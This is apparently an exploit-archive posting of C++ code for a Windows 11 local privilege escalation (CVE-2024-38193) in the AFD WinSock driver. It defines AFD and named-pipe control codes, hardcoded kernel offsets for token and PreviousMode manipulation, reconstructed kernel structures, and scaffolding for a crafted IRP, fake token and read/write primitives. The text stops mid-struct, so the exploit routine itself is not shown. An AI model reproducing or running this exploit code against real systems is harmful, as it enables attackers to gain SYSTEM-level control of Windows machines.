📄 Microsoft Windows 11 Pro 23H2 Privilege Escalation

# Exploit Title: Microsoft Windows 11 Pro 23H2 - Ancillary Function Driver
    for WinSock Elevation of Privilege
    # Date: 2025-05-05
    # Exploit Author: Milad Karimi (Ex3ptionaL)
    # Contact: [email protected]
    # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
    # Tested on: Win x64
    # CVE : CVE-2024-38193
    
    #pragma once
    
    #include "ntstatus.h"
    #include "Windows.h"
    #include <iostream>
    
    #pragma comment(lib, "ntdll.lib")
    
    
    #define HIDWORD(l) ((DWORD)(((DWORDLONG)(l)>>32)&0xFFFFFFFF))
    #define LODWORD(l) ((DWORD)((DWORDLONG)(l)))
    
    #define AfdOpenPacket "AfdOpenPacketXX"
    #define AFD_DEVICE_NAME L"\\Device\\Afd"
    #define LOCALHOST "127.0.0.1"
    
    
    #define IOCTL_AFD_BIND 0x12003LL
    #define IOCTL_AFD_LISTEN 0x1200BLL
    #define IOCTL_AFD_CONNECT 0x120BBLL
    #define IOCTL_AFD_GET_SOCK_NAME 0x1202FLL
    #define FSCTL_PIPE_PEEK 0x11400CLL
    #define FSCTL_PIPE_IMPERSONATE 0x11001CLL
    #define FSCTL_PIPE_INTERNAL_WRITE 0x119FF8
    
    #define OBJ_CASE_INSENSITIVE 0x00000040
    #define OBJ_INHERIT 0x00000002
    #define FILE_OPEN_IF 0x3
    #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
    
    #define OFFSET_IN_TOKEN_VARIABLEPART 0x490
    #define OFFSET_IN_TOKEN_TOKEN_PRIVILEGES 0x40
    #define OFFSET_IN_TOKEN_PRIMARY_GROUP 0xA8
    #define OFFSET_IN_TOKEN_DYNAMIC_PART 0xB0
    #define OFFSET_IN_TOKEN_DEFAULT_DACL 0xB8
    #define PREVIOUS_MODE_OFFSET 0x232
    #define OFFSET_TO_ACTIVE_PROCESS_LINKS 0x448
    #define OFFSET_TO_TOKEN 0x4b8
    #define CURRENT_THREAD (HANDLE)0xFFFFFFFFFFFFFFFE
    
    
    typedef struct IO_STATUS_BLOCK
    {
        union
        {
            DWORD Status;
            PVOID Pointer;
        };
    
        DWORD* Information;
    };
    
    //0x4 bytes (sizeof)
    struct _SYSTEM_POWER_STATE_CONTEXT
    {
        union
        {
            struct
            {
                ULONG Reserved1 : 8; //0x0
                ULONG TargetSystemState : 4; //0x0
                ULONG EffectiveSystemState : 4; //0x0
                ULONG CurrentSystemState : 4; //0x0
                ULONG IgnoreHibernationPath : 1; //0x0
                ULONG PseudoTransition : 1; //0x0
                ULONG KernelSoftReboot : 1; //0x0
                ULONG DirectedDripsTransition : 1; //0x0
                ULONG Reserved2 : 8; //0x0
            };
            ULONG ContextAsUlong; //0x0
        };
    };
    
    //0x4 bytes (sizeof)
    union _POWER_STATE
    {
        enum _SYSTEM_POWER_STATE SystemState; //0x0
        enum _DEVICE_POWER_STATE DeviceState; //0x0
    };
    
    //0x48 bytes (sizeof)
    typedef struct _IO_STACK_LOCATION
    {
        UCHAR MajorFunction; //0x0
        UCHAR MinorFunction; //0x1
        UCHAR Flags; //0x2
        UCHAR Control; //0x3
        union
        {
            struct
            {
                struct _IO_SECURITY_CONTEXT* SecurityContext; //0x8
                ULONG Options; //0x10
                USHORT FileAttributes; //0x18
                USHORT ShareAccess; //0x1a
                ULONG EaLength; //0x20
            } Create; //0x8
            struct
            {
                struct _IO_SECURITY_CONTEXT* SecurityContext; //0x8
                ULONG Options; //0x10
                USHORT Reserved; //0x18
                USHORT ShareAccess; //0x1a
                struct _NAMED_PIPE_CREATE_PARAMETERS* Parameters; //0x20
            } CreatePipe; //0x8
            struct
            {
                struct _IO_SECURITY_CONTEXT* SecurityContext; //0x8
                ULONG Options; //0x10
                USHORT Reserved; //0x18
                USHORT ShareAccess; //0x1a
                struct _MAILSLOT_CREATE_PARAMETERS* Parameters; //0x20
            } CreateMailslot; //0x8
            struct
            {
                ULONG Length; //0x8
                ULONG Key; //0x10
                ULONG Flags; //0x14
                union _LARGE_INTEGER ByteOffset; //0x18
            } Read; //0x8
            struct
            {
                ULONG Length; //0x8
                ULONG Key; //0x10
                ULONG Flags; //0x14
                union _LARGE_INTEGER ByteOffset; //0x18
            } Write; //0x8
            struct
            {
                ULONG Length; //0x8
                struct _UNICODE_STRING* FileName; //0x10
                enum _FILE_INFORMATION_CLASS FileInformationClass; //0x18
                ULONG FileIndex; //0x20
            } QueryDirectory; //0x8
            struct
            {
                ULONG Length; //0x8
                ULONG CompletionFilter; //0x10
            } NotifyDirectory; //0x8
            struct
            {
                ULONG Length; //0x8
                ULONG CompletionFilter; //0x10
                enum _DIRECTORY_NOTIFY_INFORMATION_CLASS
    DirectoryNotifyInformationClass; //0x18
            } NotifyDirectoryEx; //0x8
            struct
            {
                ULONG Length; //0x8
                enum _FILE_INFORMATION_CLASS FileInformationClass; //0x10
            } QueryFile; //0x8
            struct
            {
                ULONG Length; //0x8
                enum _FILE_INFORMATION_CLASS FileInformationClass; //0x10
                struct _FILE_OBJECT* FileObject; //0x18
                union
                {
                    struct
                    {
                        UCHAR ReplaceIfExists; //0x20
                        UCHAR AdvanceOnly; //0x21
                    };
                    ULONG ClusterCount; //0x20
                    VOID* DeleteHandle; //0x20
                };
            } SetFile; //0x8
            struct
            {
                ULONG Length; //0x8
                VOID* EaList; //0x10
                ULONG EaListLength; //0x18
                ULONG EaIndex; //0x20
            } QueryEa; //0x8
            struct
            {
                ULONG Length; //0x8
            } SetEa; //0x8
            struct
            {
                ULONG Length; //0x8
                enum _FSINFOCLASS FsInformationClass; //0x10
            } QueryVolume; //0x8
            struct
            {
                ULONG Length; //0x8
                enum _FSINFOCLASS FsInformationClass; //0x10
            } SetVolume; //0x8
            struct
            {
                ULONG OutputBufferLength; //0x8
                ULONG InputBufferLength; //0x10
                ULONG FsControlCode; //0x18
                VOID* Type3InputBuffer; //0x20
            } FileSystemControl; //0x8
            struct
            {
                union _LARGE_INTEGER* Length; //0x8
                ULONG Key; //0x10
                union _LARGE_INTEGER ByteOffset; //0x18
            } LockControl; //0x8
            struct
            {
                ULONG OutputBufferLength; //0x8
                ULONG InputBufferLength; //0x10
                ULONG IoControlCode; //0x18
                VOID* Type3InputBuffer; //0x20
            } DeviceIoControl; //0x8
            struct
            {
                ULONG SecurityInformation; //0x8
                ULONG Length; //0x10
            } QuerySecurity; //0x8
            struct
            {
                ULONG SecurityInformation; //0x8
                VOID* SecurityDescriptor; //0x10
            } SetSecurity; //0x8
            struct
            {
                struct _VPB* Vpb; //0x8
                struct _DEVICE_OBJECT* DeviceObject; //0x10
            } MountVolume; //0x8
            struct
            {
                struct _VPB* Vpb; //0x8
                struct _DEVICE_OBJECT* DeviceObject; //0x10
            } VerifyVolume; //0x8
            struct
            {
                struct _SCSI_REQUEST_BLOCK* Srb; //0x8
            } Scsi; //0x8
            struct
            {
                ULONG Length; //0x8
                VOID* StartSid; //0x10
                struct _FILE_GET_QUOTA_INFORMATION* SidList; //0x18
                ULONG SidListLength; //0x20
            } QueryQuota; //0x8
            struct
            {
                ULONG Length; //0x8
            } SetQuota; //0x8
            struct
            {
                enum _DEVICE_RELATION_TYPE Type; //0x8
            } QueryDeviceRelations; //0x8
            struct
            {
                struct _GUID* InterfaceType; //0x8
                USHORT Size; //0x10
                USHORT Version; //0x12
                struct _INTERFACE* Interface; //0x18
                VOID* InterfaceSpecificData; //0x20
            } QueryInterface; //0x8
            struct
            {
                struct _DEVICE_CAPABILITIES* Capabilities; //0x8
            } DeviceCapabilities; //0x8
            struct
            {
                struct _IO_RESOURCE_REQUIREMENTS_LIST*
    IoResourceRequirementList; //0x8
            } FilterResourceRequirements; //0x8
            struct
            {
                ULONG WhichSpace; //0x8
                VOID* Buffer; //0x10
                ULONG Offset; //0x18
                ULONG Length; //0x20
            } ReadWriteConfig; //0x8
            struct
            {
                UCHAR Lock; //0x8
            } SetLock; //0x8
            struct
            {
                enum BUS_QUERY_ID_TYPE IdType; //0x8
            } QueryId; //0x8
            struct
            {
                enum DEVICE_TEXT_TYPE DeviceTextType; //0x8
                ULONG LocaleId; //0x10
            } QueryDeviceText; //0x8
            struct
            {
                UCHAR InPath; //0x8
                UCHAR Reserved[3]; //0x9
                enum _DEVICE_USAGE_NOTIFICATION_TYPE Type; //0x10
            } UsageNotification; //0x8
            struct
            {
                enum _SYSTEM_POWER_STATE PowerState; //0x8
            } WaitWake; //0x8
            struct
            {
                struct _POWER_SEQUENCE* PowerSequence; //0x8
            } PowerSequence; //0x8
            struct
            {
                union
                {
                    ULONG SystemContext; //0x8
                    struct _SYSTEM_POWER_STATE_CONTEXT SystemPowerStateContext;
    //0x8
                };
                enum _POWER_STATE_TYPE Type; //0x10
                union _POWER_STATE State; //0x18
                enum POWER_ACTION ShutdownType; //0x20
            } Power; //0x8
            struct
            {
                struct _CM_RESOURCE_LIST* AllocatedResources; //0x8
                struct _CM_RESOURCE_LIST* AllocatedResourcesTranslated; //0x10
            } StartDevice; //0x8
            struct
            {
                ULONGLONG ProviderId; //0x8
                VOID* DataPath; //0x10
                ULONG BufferSize; //0x18
                VOID* Buffer; //0x20
            } WMI; //0x8
            struct
            {
                VOID* Argument1; //0x8
                VOID* Argument2; //0x10
                VOID* Argument3; //0x18
                VOID* Argument4; //0x20
            } Others; //0x8
        } Parameters; //0x8
        struct _DEVICE_OBJECT* DeviceObject; //0x28
        struct _FILE_OBJECT* FileObject; //0x30
        LONG(*CompletionRoutine)(struct _DEVICE_OBJECT* arg1, struct _IRP*
    arg2, VOID* arg3); //0x38
        VOID* Context; //0x40
    }IO_STACK_LOCATION;
    
    //0x18 bytes (sizeof)
    struct _KDEVICE_QUEUE_ENTRY
    {
        struct _LIST_ENTRY DeviceListEntry; //0x0
        ULONG SortKey; //0x10
        UCHAR Inserted; //0x14
    };
    
    //0x58 bytes (sizeof)
    struct _KAPC
    {
        UCHAR Type; //0x0
        UCHAR AllFlags; //0x1
        UCHAR Size; //0x2
        UCHAR SpareByte1; //0x3
        ULONG SpareLong0; //0x4
        struct _KTHREAD* Thread; //0x8
        struct _LIST_ENTRY ApcListEntry; //0x10
        VOID* Reserved[3]; //0x20
        VOID* NormalContext; //0x38
        VOID* SystemArgument1; //0x40
        VOID* SystemArgument2; //0x48
        CHAR ApcStateIndex; //0x50
        CHAR ApcMode; //0x51
        UCHAR Inserted; //0x52
    };
    //0xd0 bytes (sizeof)
    struct _IRP
    {
        SHORT Type; //0x0
        USHORT Size; //0x2
        USHORT AllocationProcessorNumber; //0x4
        USHORT Reserved; //0x6
        struct _MDL* MdlAddress; //0x8
        ULONG Flags; //0x10
        union
        {
            struct _IRP* MasterIrp; //0x18
            LONG IrpCount; //0x18
            VOID* SystemBuffer; //0x18
        } AssociatedIrp; //0x18
        struct _LIST_ENTRY ThreadListEntry; //0x20
        struct IO_STATUS_BLOCK IoStatus; //0x30
        CHAR RequestorMode; //0x40
        UCHAR PendingReturned; //0x41
        CHAR StackCount; //0x42
        CHAR CurrentLocation; //0x43
        UCHAR Cancel; //0x44
        UCHAR CancelIrql; //0x45
        CHAR ApcEnvironment; //0x46
        UCHAR AllocationFlags; //0x47
        union
        {
            struct _IO_STATUS_BLOCK* UserIosb; //0x48
            VOID* IoRingContext; //0x48
        };
        struct _KEVENT* UserEvent; //0x50
        union
        {
            struct
            {
                union
                {
                    VOID(*UserApcRoutine)(VOID* arg1, struct _IO_STATUS_BLOCK*
    arg2, ULONG arg3); //0x58
                    VOID* IssuingProcess; //0x58
                };
                union
                {
                    VOID* UserApcContext; //0x60
                    struct _IORING_OBJECT* IoRing; //0x60
                };
            } AsynchronousParameters; //0x58
            union _LARGE_INTEGER AllocationSize; //0x58
        } Overlay; //0x58
        VOID(*CancelRoutine)(struct _DEVICE_OBJECT* arg1, struct _IRP* arg2);
    //0x68
        VOID* UserBuffer; //0x70
        union
        {
            struct
            {
                union
                {
                    struct _KDEVICE_QUEUE_ENTRY DeviceQueueEntry; //0x78
                    VOID* DriverContext[4]; //0x78
                };
                struct _ETHREAD* Thread; //0x98
                CHAR* AuxiliaryBuffer; //0xa0
                struct _LIST_ENTRY ListEntry; //0xa8
                union
                {
                    struct _IO_STACK_LOCATION* CurrentStackLocation; //0xb8
                    ULONG PacketType; //0xb8
                };
                struct _FILE_OBJECT* OriginalFileObject; //0xc0
                VOID* IrpExtension; //0xc8
            } Overlay; //0x78
            struct _KAPC Apc; //0x78
            VOID* CompletionKey; //0x78
        } Tail; //0x78
    };
    typedef struct _TA_ADDRESS
    {
        USHORT AddressLength;
        USHORT AddressType;
        UCHAR Address[1];
    }TA_ADDRESS;
    
    typedef struct _TRANSPORT_ADDRESS
    {
        LONG TAAddressCount;
        TA_ADDRESS Address[1];
    }TRANSPORT_ADDRESS;
    
    typedef struct _UNICODE_STRING {
        USHORT Length;
        USHORT MaximumLength;
        PWSTR Buffer;
    } UNICODE_STRING, * PUNICODE_STRING;
    
    typedef struct _OBJECT_ATTRIBUTES
    {
        ULONG Length;
        HANDLE RootDirectory;
        PUNICODE_STRING ObjectName;
        ULONG Attributes;
        PVOID SecurityDescriptor;
        PVOID SecurityQualityOfService;
    }OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
    
    typedef struct _SYSTEM_MODULE_ENTRY
    {
        HANDLE Section;
        PVOID MappedBase;
        PVOID ImageBase;
        ULONG ImageSize;
        ULONG Flags;
        USHORT LoadOrderIndex;
        USHORT InitOrderIndex;
        USHORT LoadCount;
        USHORT OffsetToFileName;
        UCHAR FullPathName[256];
    } SYSTEM_MODULE_ENTRY, * PSYSTEM_MODULE_ENTRY;
    
    typedef struct _SYSTEM_MODULE_INFORMATION
    {
        ULONG Count;
        SYSTEM_MODULE_ENTRY Module[1];
    } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
    
    typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX
    {
        PVOID Object;
        ULONG_PTR UniqueProcessId;
        ULONG_PTR HandleValue;
        ULONG GrantedAccess;
        USHORT CreatorBackTraceIndex;
        USHORT ObjectTypeIndex;
        ULONG HandleAttributes;
        ULONG Reserved;
    } SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;
    
    typedef struct _SYSTEM_HANDLE_INFORMATION_EX
    {
        ULONG_PTR NumberOfHandles;
        ULONG_PTR Reserved;
        SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];
    } SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;
    
    typedef struct _AFD_CREATE_PACKET {
        //FILE_FULL_EA_INFORMATION
        ULONG NextEntryOffset;
        WORD Flags;
        UCHAR EaNameLength;
        USHORT EaValueLength;
        CHAR EaName[15];
    
        //AFD_CREATE_PACKET
        ULONG EndpointFlags;
        ULONG GroupID;
        ULONG AddressFamily;
        ULONG SocketType;
        ULONG Protocol;
        ULONG SizeOfTransportName;
        wchar_t TransportName[16];
        //UCHAR Unkown;
    } AFD_CREATE_PACKET;
    
    enum THREADINFOCLASS { ThreadImpersonationToken = 5 };
    
    enum SYSTEM_INFORMATION_CLASS {
        SystemModuleInformation = 11,
        SystemExtendedHandleInformation = 64
    };
    
    typedef enum EVENT_TYPE {
        NotificationEvent,
        SynchronizationEvent
    };
    
    typedef struct _AFD_BIND_DATA {
        ULONG ShareType;
        SOCKADDR_IN addr;
    } AFD_BIND_DATA, * PAFD_BIND_DATA;
    
    typedef struct alignas(16) MY_AFD_CONNECT_INFO
    {
        __int64 UseSan;
        __int64 hNtSock1;
        __int64 Unknown;
        __int32 tmp6;
        WORD const_16;
        sockaddr_in bind;
    };
    
    
    typedef struct FAKE_DATA_ENTRY_QUEUE
    {
        DWORD tmp;
        LIST_ENTRY nextQueue;
        __int64 unknown;
        PVOID security_client_context;
        __int64 unknown2;
        __int64 sizeOfData;
        char DATA[0x77FD0];
    };
    
    typedef struct _AFD_LISTEN_INFO {
    
        ULONG unknown;
        __int64 MaximumConnectionQueue;
    } AFD_LISTEN_INFO, * PAFD_LISTEN_INFO;
    
    
    
    
    
    
    typedef struct _SECURITY_CLIENT_CONTEXT
    {
        _SECURITY_QUALITY_OF_SERVICE SecurityQos;
        void* ClientToken;
        unsigned __int8 DirectlyAccessClientToken;
        unsigned __int8 DirectAccessEffectiveOnly;
        unsigned __int8 ServerIsRemote;
        _TOKEN_CONTROL ClientTokenControl;
    }SECURITY_CLIENT_CONTEXT, * PSECURITY_CLIENT_CONTEXT;
    
    struct __declspec(align(8)) _OWNER_ENTRY
    {
        unsigned __int64 OwnerThread;
        DWORD ___u1;
    };
    
    
    //0x68 bytes (sizeof)
    typedef struct _ERESOURCE
    {
        struct _LIST_ENTRY SystemResourcesList; //0x0
        struct _OWNER_ENTRY* OwnerTable; //0x10
        SHORT ActiveCount; //0x18
        union
        {
            USHORT Flag; //0x1a
            struct
            {
                UCHAR ReservedLowFlags; //0x1a
                UCHAR WaiterPriority; //0x1b
            };
        };
        VOID* SharedWaiters; //0x20
        VOID* ExclusiveWaiters; //0x28
        struct _OWNER_ENTRY OwnerEntry; //0x30
        ULONG ActiveEntries; //0x40
        ULONG ContentionCount; //0x44
        ULONG NumberOfSharedWaiters; //0x48
        ULONG NumberOfExclusiveWaiters; //0x4c
        VOID* Reserved2; //0x50
        union
        {
            VOID* Address; //0x58
            ULONGLONG CreatorBackTraceIndex; //0x58
        };
        ULONGLONG SpinLock; //0x60
    }ERESOURCE, *PERESOURCE;
    
    //0x8 bytes (sizeof)
    typedef struct _EX_PUSH_LOCK
    {
        union
        {
            struct
            {
                ULONGLONG Locked : 1; //0x0
                ULONGLONG Waiting : 1; //0x0
                ULONGLONG Waking : 1; //0x0
                ULONGLONG MultipleShared : 1; //0x0
                ULONGLONG Shared : 60; //0x0
            };
            ULONGLONG Value; //0x0
            VOID* Ptr; //0x0
        };
    };
    
    //0x10 bytes (sizeof)
    typedef struct _SEP_CACHED_HANDLES_TABLE
    {
        struct _EX_PUSH_LOCK Lock; //0x0
        struct _RTL_DYNAMIC_HASH_TABLE* HashTable; //0x8
    };
    
    //0x8 bytes (sizeof)
    typedef struct _EX_RUNDOWN_REF
    {
        union
        {
            ULONGLONG Count; //0x0
            VOID* Ptr; //0x0
        };
    };
    
    //0x20 bytes (sizeof)
    typedef struct _OB_HANDLE_REVOCATION_BLOCK
    {
        struct _LIST_ENTRY RevocationInfos; //0x0
        struct _EX_PUSH_LOCK Lock; //0x10
        struct _EX_RUNDOWN_REF Rundown; //0x18
    };
    
    //0xc0 bytes (sizeof)
    typedef struct _SEP_LOGON_SESSION_REFERENCES
    {
        struct _SEP_LOGON_SESSION_REFERENCES* Next; //0x0
        struct _LUID LogonId; //0x8
        struct _LUID BuddyLogonId; //0x10
        LONGLONG ReferenceCount; //0x18
        ULONG Flags; //0x20
        struct _DEVICE_MAP* pDeviceMap; //0x28
        VOID* Token; //0x30
        struct _UNICODE_STRING AccountName; //0x38
        struct _UNICODE_STRING AuthorityName; //0x48
        struct _SEP_CACHED_HANDLES_TABLE CachedHandlesTable; //0x58
        struct _EX_PUSH_LOCK SharedDataLock; //0x68
        struct _AUTHZBASEP_CLAIM_ATTRIBUTES_COLLECTION* SharedClaimAttributes;
    //0x70
        struct _SEP_SID_VALUES_BLOCK* SharedSidValues; //0x78
        struct _OB_HANDLE_REVOCATION_BLOCK RevocationBlock; //0x80
        struct _EJOB* ServerSilo; //0xa0
        struct _LUID SiblingAuthId; //0xa8
        struct _LIST_ENTRY TokenList; //0xb0
    };
    //0x30 bytes (sizeof)
    typedef struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
    {
        ULONG SecurityAttributeCount; //0x0
        struct _LIST_ENTRY SecurityAttributesList; //0x8
        ULONG WorkingSecurityAttributeCount; //0x18
        struct _LIST_ENTRY WorkingSecurityAttributesList; //0x20
    }AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION;
    
    //0x20 bytes (sizeof)
    typedef struct _SEP_SID_VALUES_BLOCK
    {
        ULONG BlockLength; //0x0
        LONGLONG ReferenceCount; //0x8
        ULONG SidCount; //0x10
        ULONGLONG SidValuesStart; //0x18
    }SEP_SID_VALUES_BLOCK,*PSEP_SID_VALUES_BLOCK;
    
    //0x18 bytes (sizeof)
    struct _SEP_TOKEN_PRIVILEGES
    {
        ULONGLONG Present; //0x0
        ULONGLONG Enabled; //0x8
        ULONGLONG EnabledByDefault; //0x10
    };
    
    //0x1f bytes (sizeof)
    struct _SEP_AUDIT_POLICY
    {
        struct _TOKEN_AUDIT_POLICY AdtTokenPolicy; //0x0
        UCHAR PolicySetStatus; //0x1e
    };
    
    //0x498 bytes (sizeof)
    struct _TOKEN
    {
        struct _TOKEN_SOURCE TokenSource; //0x0
        struct _LUID TokenId; //0x10
        struct _LUID AuthenticationId; //0x18
        struct _LUID ParentTokenId; //0x20
        union _LARGE_INTEGER ExpirationTime; //0x28
        struct _ERESOURCE* TokenLock; //0x30
        struct _LUID ModifiedId; //0x38
        struct _SEP_TOKEN_PRIVILEGES Privileges; //0x40
        struct _SEP_AUDIT_POLICY AuditPolicy; //0x58
        ULONG SessionId; //0x78
        ULONG UserAndGroupCount; //0x7c
        ULONG RestrictedSidCount; //0x80
        ULONG VariableLength; //0x84
        ULONG DynamicCharged; //0x88
        ULONG DynamicAvailable; //0x8c
        ULONG DefaultOwnerIndex; //0x90
        struct _SID_AND_ATTRIBUTES* UserAndGroups; //0x98
        struct _SID_AND_ATTRIBUTES* RestrictedSids; //0xa0
        VOID* PrimaryGroup; //0xa8
        ULONG* DynamicPart; //0xb0
        struct _ACL* DefaultDacl; //0xb8
        enum _TOKEN_TYPE TokenType; //0xc0
        enum _SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; //0xc4
        ULONG TokenFlags; //0xc8
        UCHAR TokenInUse; //0xcc
        ULONG IntegrityLevelIndex; //0xd0
        ULONG MandatoryPolicy; //0xd4
        void* LogonSession; //0xd8
        struct _LUID OriginatingLogonSession; //0xe0
        struct _SID_AND_ATTRIBUTES_HASH SidHash; //0xe8
        struct _SID_AND_ATTRIBUTES_HASH RestrictedSidHash; //0x1f8
        struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION*
    pSecurityAttributes; //0x308
        VOID* Package; //0x310
        struct _SID_AND_ATTRIBUTES* Capabilities; //0x318
        ULONG CapabilityCount; //0x320
        struct _SID_AND_ATTRIBUTES_HASH CapabilitiesHash; //0x328
        struct _SEP_LOWBOX_NUMBER_ENTRY* LowboxNumberEntry; //0x438
        struct _SEP_CACHED_HANDLES_ENTRY* LowboxHandlesEntry; //0x440
        struct _AUTHZBASEP_CLAIM_ATTRIBUTES_COLLECTION* pClaimAttributes;
    //0x448
        VOID* TrustLevelSid; //0x450
        struct _TOKEN* TrustLinkedToken; //0x458
        VOID* IntegrityLevelSidValue; //0x460
        struct _SEP_SID_VALUES_BLOCK* TokenSidValues; //0x468
        struct _SEP_LUID_TO_INDEX_MAP_ENTRY* IndexEntry; //0x470
        struct _SEP_TOKEN_DIAG_TRACK_ENTRY* DiagnosticInfo; //0x478
        struct _SEP_CACHED_HANDLES_ENTRY* BnoIsolationHandlesEntry; //0x480
        VOID* SessionObject; //0x488
        ULONGLONG VariablePart; //0x490
    };
    
    //0x38 bytes (sizeof)
    struct _OBJECT_HEADER
    {
        LONGLONG PointerCount; //0x0
        union
        {
            LONGLONG HandleCount; //0x8
            VOID* NextToFree; //0x8
        };
        struct _EX_PUSH_LOCK Lock; //0x10
        UCHAR TypeIndex; //0x18
        union
        {
            UCHAR TraceFlags; //0x19
            struct
            {
                UCHAR DbgRefTrace : 1; //0x19
                UCHAR DbgTracePermanent : 1; //0x19
            };
        };
        UCHAR InfoMask; //0x1a
        union
        {
            UCHAR Flags; //0x1b
            struct
            {
                UCHAR NewObject : 1; //0x1b
                UCHAR KernelObject : 1; //0x1b
                UCHAR KernelOnlyAccess : 1; //0x1b
                UCHAR ExclusiveObject : 1; //0x1b
                UCHAR PermanentObject : 1; //0x1b
                UCHAR DefaultSecurityQuota : 1; //0x1b
                UCHAR SingleHandleEntry : 1; //0x1b
                UCHAR DeletedInline : 1; //0x1b
            };
        };
        ULONG Reserved; //0x1c
        union
        {
            struct _OBJECT_CREATE_INFORMATION* ObjectCreateInfo; //0x20
            VOID* QuotaBlockCharged; //0x20
        };
        VOID* SecurityDescriptor; //0x28
        struct _TOKEN Body; //0x30
    };
    
    struct mm {
        void* fake_data_entry;
        void* input;
        _IRP* crafted_irp;
        IO_STACK_LOCATION *crafted_arbitrary_io_stack_location;
        void* p_mem_0x30;
        void* p_mem_0xD0_2;
        _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION* pSecurityAttributes;
        ACL* VariablePartDefaultDacl;
        ACL* VariablePartDefaultDacl2;
        _ERESOURCE* TokenLock;
        void* PrimaryGroup;
        int sizeOfClientTokenAndObjectHeader;
        PSEP_SID_VALUES_BLOCK TokenSidValues;
        _SECURITY_CLIENT_CONTEXT* security_client_context;
        _SEP_LOGON_SESSION_REFERENCES* LogonSession;
        _TOKEN* fakeToken;
        void *pipe_100_im_control_block;
        void* pipe_100_rw_control_block;
        void* p_mem_Pipe_hToPipe_1000_rw;
        void* p_mem_Pipe_hToPipe_1000_rw_2;
        HANDLE hPipeIM;
        HANDLE hPipeRW;
        HANDLE hFileIM;
        HANDLE hFileRW;
        HANDLE IncPrimitiveTOKEN;
        HANDLE RWPrimitiveTOKEN;
    };
    
    //0x18 bytes (sizeof)
    struct _DISPATCHER_HEADER
    {
        union
        {
            volatile LONG Lock; //0x0
            LONG LockNV; //0x0
            struct
            {
                UCHAR Type; //0x0
                UCHAR Signalling; //0x1
                UCHAR Size; //0x2
                UCHAR Reserved1; //0x3
            };
            struct
            {
                UCHAR TimerType; //0x0
                union
                {
                    UCHAR TimerControlFlags; //0x1
                    struct
                    {
                        UCHAR Absolute : 1;